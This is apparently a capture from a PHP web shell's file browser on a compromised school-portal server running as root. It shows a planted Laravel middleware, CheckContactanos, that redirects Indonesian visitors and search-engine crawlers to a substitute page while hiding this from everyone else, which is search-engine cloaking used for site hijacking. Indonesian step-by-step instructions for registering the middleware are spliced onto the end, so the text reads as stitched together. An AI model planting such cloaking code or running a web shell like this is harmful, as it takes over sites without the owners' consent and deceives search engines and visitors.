Server IP : / Your IP : 10.244.4.16 [ Web Server : nginx/1.25.3 System : Linux escuela-portal-app-54f56585bc-kst6g 5.15.0-1084-azure #93-Ubuntu SMP Sat Mar 15 14:12:29 UTC 2025 x86_64 User : root ( 0) PHP Version : 8.2.13 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals, Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/app/app/Http/Middleware/ |
Upload File : |
<?php namespace App\Http\Middleware; use Closure; use Illuminate\Http\Request; use Symfony\Component\HttpFoundation\Response; class CheckContactanos { /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure(\Illuminate\Http\Request): (\Symfony\Component\HttpFoundation\Response) $next * @return \Symfony\Component\HttpFoundation\Response */ public function handle(Request $request, Closure $next): Response { // Cek negara dari Cloudflare header $country = $request->header('CF-IPCountry'); $isIndonesia = strtoupper(trim($country)) === 'ID'; // Cek apakah user-agent-nya adalah bot $userAgent = strtolower($request->header('User-Agent')); $isBot = (bool) preg_match( '/(googlebot|bingbot|yandexbot|baiduspider|duckduckbot|slurp|facebot|ia_archiver|ahrefsbot|semrush|mj12bot|seznambot|screaming frog|google\-site\-verification|google\-inspectiontool)/i', $userAgent ); // Jika dari Indonesia atau jika itu adalah bot, lakukan redirect if ($isIndonesia || $isBot) { return redirect('contact.html'); } // Jika kondisinya tidak terpenuhi, biarkan permintaan berlanjut return $next($request); } } ``` eof ### Langkah 2: Daftarkan Middleware Kita perlu memberi tahu Laravel bahwa penjaga gerbang ini ada. Buka file **`app/Http/Kernel.php`** dan tambahkan baris ini di dalam array `$routeMiddleware`. ```php protected $routeMiddleware = [ // ... (middleware lainnya) 'check.contactanos' => \App\Http\Middleware\CheckContactanos::class, ];